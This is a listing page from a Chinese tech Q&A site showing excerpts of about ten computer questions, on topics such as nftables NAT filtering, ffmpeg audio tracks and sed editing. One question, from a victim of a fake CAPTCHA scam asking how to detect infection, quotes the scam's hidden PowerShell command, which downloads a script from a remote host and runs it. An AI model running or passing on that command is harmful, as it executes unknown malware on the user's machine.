AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / computer / 问题

全部问题(computer)

Martin Hope
lfaraone
Asked: 2025-04-22 02:27:42 +0800 CST

如何删除 Windows 11 搜索中的“热门搜索”?

  • 6

我的任务栏左下角经常出现一个烦人的“热门搜索”。该如何移除它?

windows-11
  • 1 个回答
  • 22 Views
Martin Hope
Michael Firth
Asked: 2025-04-21 22:51:36 +0800 CST

如何删除文件中匹配模式行之前的空白行?

  • 6

感觉这个问题之前就应该在这里回答过,但我的搜索还没有找到确切的案例。

我有一个文件(实际上是一个 hosts 文件),里面有一个标记行。我有一些脚本可以添加和删除标记行前面的行。

但存在删除过程会留下添加过程创建的空白行的风险。

所以我想要一种方法来删除文件中标志行之前的所有空白行。

感觉这应该是可能的sed,但我发现的在线示例不包括这种情况(讽刺的是,它们包括相反的情况 - 在匹配行之前添加一个空白行)

有没有简单的方法可以做到这一点?

不一定非要使用sed,任何其他标准文本处理工具也可以。

最好进行就地编辑,但如果确实有必要,可以复制到临时文件,然后再复制回来。

示例输入(无法发布精确数据)

10.8.7.6      static-host1
10.8.7.7      static-host2

10.8.8.5      static-host3
10.8.8.6      static-host4

# Start of dynamic section
10.9.9.8      dynamic-group1-host1
10.9.9.9      dynamic-group1-host1

10.9.8.7      dynamic-group2-host1
10.9.8.8      dynamic-group2-host2


# End of dynamic section

10.10.11.12   static-host5
10.10.11.13   static-host6

10.10.11.17   static-host7
10.10.11.18   static-host8

示例输出

10.8.7.6      static-host1
10.8.7.7      static-host2

10.8.8.5      static-host3
10.8.8.6      static-host4

# Start of dynamic section
10.9.9.8      dynamic-group1-host1
10.9.9.9      dynamic-group1-host1

10.9.8.7      dynamic-group2-host1
10.9.8.8      dynamic-group2-host2
# End of dynamic section

10.10.11.12   static-host5
10.10.11.13   static-host6

10.10.11.17   static-host7
10.10.11.18   static-host8

对于任何解决方案来说,假设要删除的空格之前的最后一行总是以相同的模式开头是合理的,通常是 RFC1918 地址(例如 10. 或 192.168.)

对于另一条评论,是的,空行对于可读性来说是必要的,这就是为什么我的脚本在添加的节之间添加了空行。删除节时,我可以删除“该节第一行之前的任何空行”,但这会引发同样的问题——删除与模式匹配的行之前的一个或多个空行。

(希望很明显)全面删除文件中的所有空行是不可接受的。

linux
  • 1 个回答
  • 52 Views
Martin Hope
Ian Y.
Asked: 2025-04-21 11:00:24 +0800 CST

如何检测我的计算机是否感染了 Win+R Ctrl+V 骗局病毒?

  • 6

有骗子在 GitHub 上传播诈骗链接,指向一个伪造的 Cloudflare 验证码网页,该网页指示我按⊞ Win+R键,Ctrl+V键,然后点击Enter。我按照指示操​​作,但什么也没发生。

我很快就意识到这是一个骗局。我怎么知道我的电脑是否感染了该骗局的病毒?

它指示我粘贴的一行诈骗代码如下。下面有位用户评论建议将代码分成两行,以防止有人误用。

powershell
 -WindowStyle Hidden -Command ([ScriptBlock]::Create((irm https://jaihind.edu.in/weatherdolphin/dollrandom))).Invoke(); Write-Host   "                                                    Cloudflare. inc.  Captcha-ID:1488                                   ";```
powershell
  • 2 个回答
  • 112 Views
Martin Hope
user30095688
Asked: 2025-04-21 05:49:31 +0800 CST

如果出现此类问题,谁(如果有的话)会修补与我的笔记本电脑硬件相关的错误和漏洞?

  • 15

我正在考虑购买一台 Linux 笔记本电脑,但我以前只使用过 Mac,并且我有一个与此相关的安全问题。

对于 Mac,制造商(Apple)同时支持操作系统和硬件。因此,理论上,Apple 不仅会修补他们在 macOS 中发现的错误和漏洞,还会修补他们在 MacBook 实际硬件中发现的错误/漏洞,以及 macOS 与硬件交互过程中产生的任何错误/漏洞。

如果我买了一台笔记本电脑并在上面安装了 Linux,我大概可以指望我的 Linux 发行版的开发者会修补我的 Linux 操作系统中的 bug 和漏洞。但是,谁(如果有的话)会修补与我的笔记本电脑硬件相关的 bug 和漏洞呢?

linux
  • 2 个回答
  • 2888 Views
Martin Hope
Franck Dernoncourt
Asked: 2025-04-20 11:28:24 +0800 CST

如何查看用 Notepad++ 打开的 JSON 文件中某个字段包含的元素数量?

  • 5

我可以看到用 PyCharm 2024.2.3 打开的 JSON 文件中某个字段包含的元素数量:

在此处输入图片描述

我如何在 Notepad++ 中查看相同内容?

notepad++
  • 1 个回答
  • 34 Views
Martin Hope
LeoPold1447
Asked: 2025-04-20 10:43:50 +0800 CST

NFTables 不会通过防火墙过滤 NAT 地址

  • 5

我在 openSUSE Tumbleweed 上将 nftables 设置为默认防火墙,也是唯一的防火墙。iptables 和 Firewalld 已被标记为“禁忌”,永远不会重新安装。我还检查了两次,确保它们不在我的系统中。只有 nftables,其他都一样。

我的问题是过滤器内的输出/输入链inet似乎不会影响 NAT 设备。nftables 也充当我的家庭网络的 NAT。

我有大约 8 台设备始终处于连接状态,因此进行了 NAT 处理。这些设备(全部)都无法通过我的output和input链,因为 和 链的限制非常严格。

我没有,也无法找到任何有关如何确保 NAT 设备通过其他表和链运行的信息。

有人能解释一下为什么 nftables 不通过其他表和链路由 NAT 流量吗?有人能提供一种方法,让 NAT 数据通过其他防火墙表发送吗?

这是我的 nftables.conf 文件:

    #!/usr/sbin/nft -f

flush ruleset

table inet filter{

    chain state{
         ct state {established, related} accept;
         ct state invalid drop;
    }

    chain input{
        type filter hook input priority 0; policy drop;
        # allowed icmp types
        ip protocol icmp icmp type {destination-unreachable, router-solicitation, router-advertisement, time-exceeded, parameter-problem} accept;
        # if related or invalid
        jump state;
        # allow loopback
        iif "lo" accept;
        # NTP (Network Time)
        udp dport 123 accept;
        tcp dport 123 accept;
    }

    chain output{
        type filter hook output priority 0; policy drop;
        # allowed icmp types
        ip protocol icmp icmp type {destination-unreachable, router-solicitation, router-advertisement, time-exceeded, parameter-problem} accept;
        # if related or invalid
        jump state;
        # allow loopback
        iif "lo" accept;
        # allow TCP ident
        tcp dport 113 accept;
        # allow dns & dnssec
        tcp dport { 53, 853 } accept;
        udp dport { 53, 853 } accept;
        # allow http
        tcp dport { 80, 443, 1443, 8443, 8080 } accept;
        udp dport { 80, 443, 1443, 8443, 8080 } accept;
        # allow ftp
        tcp dport { 20, 21 } accept;
        udp dport 69 accept;
        # allow ssh
        tcp dport 22 accept;
        udp dport 22 accept;
        # allow email
        tcp dport { 25, 465, 587 } accept; #SMTP & SMTPS
        tcp dport { 110, 995 } accept; #POP3 & POP3S
        udp dport { 110, 995 } accept; #POP3 & POP3S
        tcp dport { 143, 993 } accept; #IMAP & IMAPS
        udp dport { 143, 993 } accept; #IMAP & IMAPS
        tcp dport 691; #MS Exchange
        # IPsec VPN
        udp dport { 500, 4500, 1701 } accept;
        esp spi 50 accept;
        ah spi 51 accept;
        # NTP (Network Time)
        udp dport 123 accept;
        tcp dport 123 accept;
    }

    chain IPS_input{
        type filter hook input priority 10; policy drop;
        queue num 0
    }

    chain IPS_output{
        type filter hook output priority 10; policy drop;
        queue num 0;
    }

    chain IPS_forward {
        type filter hook forward priority 10; policy drop;
        queue num 0;
    }
}

table nat {
    chain prerouting {
        type nat hook prerouting priority -100;
        ct state invalid drop;
    }

    chain postrouting {
        type nat hook postrouting priority 100;
        ct state invalid drop;
        ip saddr 10.0.0.0/24 oif eno2 masquerade; # "eno2" is our external interface
    }
}
networking
  • 1 个回答
  • 32 Views
Martin Hope
Tony M
Asked: 2025-04-20 04:42:13 +0800 CST

如何使用 FFmpeg 为多语言视频添加其他语言?

  • 6

我想使用 FFmpeg为一个已经包含意大利语、法语和德语的视频(称为)添加英语音频和字幕轨道(eng.mp3和) 。关键是最终的视频能够支持在多种语言的音频和字幕轨道之间切换。eng.srt3.mp4

总而言之,我想要:3.mp4 + eng.mp3 + eng.srt → 3plus1.mp4

我尝试过这个但是没有用::

ffmpeg -i 3.mp4 -i eng.mp3 -i eng.srt \
-map 0:v -map 0:a -map 1:a -map 2:s:0 \
-metadata:s:a:0 language=eng -metadata:s:s:0 language=eng \
-c:s:0 mov_text -shortest 3plus1.mp4

我可以使用 4 种语言(4.mp4)从头开始制作视频,如下.mp3所示.srt(请注意,视频部分是即时生成的,仅为黑色背景;这使文件保持较小以进行测试,而视频不是这里的重点):

这有效:ita.mp3 + fre.mp3 + ger.mp3 + eng.mp3 + ita.srt + fre.srt + ger.srt + eng.srt → 4.mp4

ffmpeg -f lavfi -i "color=color=black:s=1280x720" \
-i ita.mp3 -i fre.mp3 -i ger.mp3 -i eng.mp3 \
-i ita.srt -i fre.srt -i ger.srt -i eng.srt \
-map 0:v -map 1:a:0 -map 2:a:0 -map 3:a:0 -map 4:a:0 \
-map 5:s:0 -map 6:s:0 -map 7:s:0 -map 8:s:0 \
-metadata:s:a:0 language=ita -metadata:s:a:1 language=fra -metadata:s:a:2 language=ger -metadata:s:a:3 language=eng \
-metadata:s:s:0 language=ita -metadata:s:s:1 language=fra -metadata:s:s:2 language=ger -metadata:s:s:3 language=eng \
-c:s:0 mov_text -c:s:1 mov_text -c:s:2 mov_text -c:s:3 mov_text \
-shortest 4.mp4

我不知道如何上传我用于测试的文件,但我发现一个名为 disroot 的网站看起来允许文件共享。

此链接是count.zip我创建的包含所有用于测试的文件的档案。

编辑:@Alain1A45 提供的命令几乎有效:

ffmpeg -i 3.mp4 -i eng.mp3 -i eng.srt -map 0:v -map 0:a -map 1 -map 0:s -map 2 -c copy -c:s:3 mov_text -metadata:s:a:3 language=eng -metadata:s:s:3 language=eng -shortest 3plus1.mp4

我说“几乎可用”,是因为它确实添加了额外的音频(eng.mp3)和字幕(eng.srt),但英语音频在 Mac OS 的 QuickTime 播放器和 iPhone 版 Documents (by Readdle) 的视频播放器中都无法显示。由于我一直都在用这些播放器,所以我还在寻找解决方案。

这是显示无法使用英语音频的屏幕截图: qt播放器图像

我知道有英文音频,因为我可以用 ffmpeg 命令看到它,而且 VLC 播放器在 Mac OS 和 iOS 上都能播放。可惜的是,我发现 VLC 播放器用起来很不方便。

ffmpeg
  • 1 个回答
  • 95 Views
Martin Hope
Lucca Bibar
Asked: 2025-04-20 03:28:20 +0800 CST

如何在我的华为 AX2S 路由器中同时启用 2.4 GHz 和 W-Fi 5?

  • 5

我目前有一台华为AX2S路由器。

这款路由器默认使用Wi-Fi 6、5G网络,但也支持Wi-Fi 5和2.4 GHz网络。

我有一部旧手机,既不支持 Wi-Fi 6,也不支持 5G。

然而,问题是我不知道如何启用 Wi-Fi 5和 2.4 GHz网络。我检查了路由器的配置,但没有找到明显的启用方法。

networking
  • 1 个回答
  • 37 Views
Martin Hope
ProfiDE
Asked: 2025-04-20 02:46:22 +0800 CST

Tor 日志文件在 Debian 上不存在 - 如何启用?

  • 6

我在 Debian 上安装并运行了 Tor,但没有日志文件/var/log/tor/。如何启用将日志写入日志文件的功能?

我尝试以 root 权限运行 tor,但是不起作用。

我是新来的,如果我的问题需要更正,请发表评论。

debian
  • 1 个回答
  • 43 Views
Martin Hope
DuesserBaest
Asked: 2025-04-20 00:03:20 +0800 CST

如何从旧笔记本电脑的旧硬盘中获取数据?

  • 5

有人给我一台旧笔记本电脑(Acer Aspire 2001WLCI),让我从硬盘里取出旧数据。结果电脑无法启动。

我想从 USB 启动 Linux 的想法是不可能的,因为我只能从 CD 或软盘启动。

我的下一个想法是提取磁盘,但在网上搜索了一个小时后,我还是无法确定连接器的类型。有人知道它叫什么吗?另外,有人知道有什么硬件可以访问它吗?

在此处输入图片描述

hard-drive
  • 1 个回答
  • 68 Views
上一页
下一页

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何减少“vmmem”进程的消耗?

    • 11 个回答
  • Marko Smith

    从 Microsoft Stream 下载视频

    • 4 个回答
  • Marko Smith

    Google Chrome DevTools 无法解析 SourceMap:chrome-extension

    • 6 个回答
  • Marko Smith

    Windows 照片查看器因为内存不足而无法运行?

    • 5 个回答
  • Marko Smith

    支持结束后如何激活 WindowsXP?

    • 6 个回答
  • Marko Smith

    远程桌面间歇性冻结

    • 7 个回答
  • Marko Smith

    子网掩码 /32 是什么意思?

    • 6 个回答
  • Marko Smith

    鼠标指针在 Windows 中按下的箭头键上移动?

    • 1 个回答
  • Marko Smith

    VirtualBox 无法以 VERR_NEM_VM_CREATE_FAILED 启动

    • 8 个回答
  • Marko Smith

    应用程序不会出现在 MacBook 的摄像头和麦克风隐私设置中

    • 5 个回答
  • Martin Hope
    Vickel Firefox 不再允许粘贴到 WhatsApp 网页中? 2023-08-18 05:04:35 +0800 CST
  • Martin Hope
    Saaru Lindestøkke 为什么使用 Python 的 tar 库时 tar.xz 文件比 macOS tar 小 15 倍? 2021-03-14 09:37:48 +0800 CST
  • Martin Hope
    CiaranWelsh 如何减少“vmmem”进程的消耗? 2020-06-10 02:06:58 +0800 CST
  • Martin Hope
    Jim Windows 10 搜索未加载,显示空白窗口 2020-02-06 03:28:26 +0800 CST
  • Martin Hope
    andre_ss6 远程桌面间歇性冻结 2019-09-11 12:56:40 +0800 CST
  • Martin Hope
    Riley Carney 为什么在 URL 后面加一个点会删除登录信息? 2019-08-06 10:59:24 +0800 CST
  • Martin Hope
    zdimension 鼠标指针在 Windows 中按下的箭头键上移动? 2019-08-04 06:39:57 +0800 CST
  • Martin Hope
    jonsca 我所有的 Firefox 附加组件突然被禁用了,我该如何重新启用它们? 2019-05-04 17:58:52 +0800 CST
  • Martin Hope
    MCK 是否可以使用文本创建二维码? 2019-04-02 06:32:14 +0800 CST
  • Martin Hope
    SoniEx2 更改 git init 默认分支名称 2019-04-01 06:16:56 +0800 CST

热门标签

windows-10 linux windows microsoft-excel networking ubuntu worksheet-function bash command-line hard-drive

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve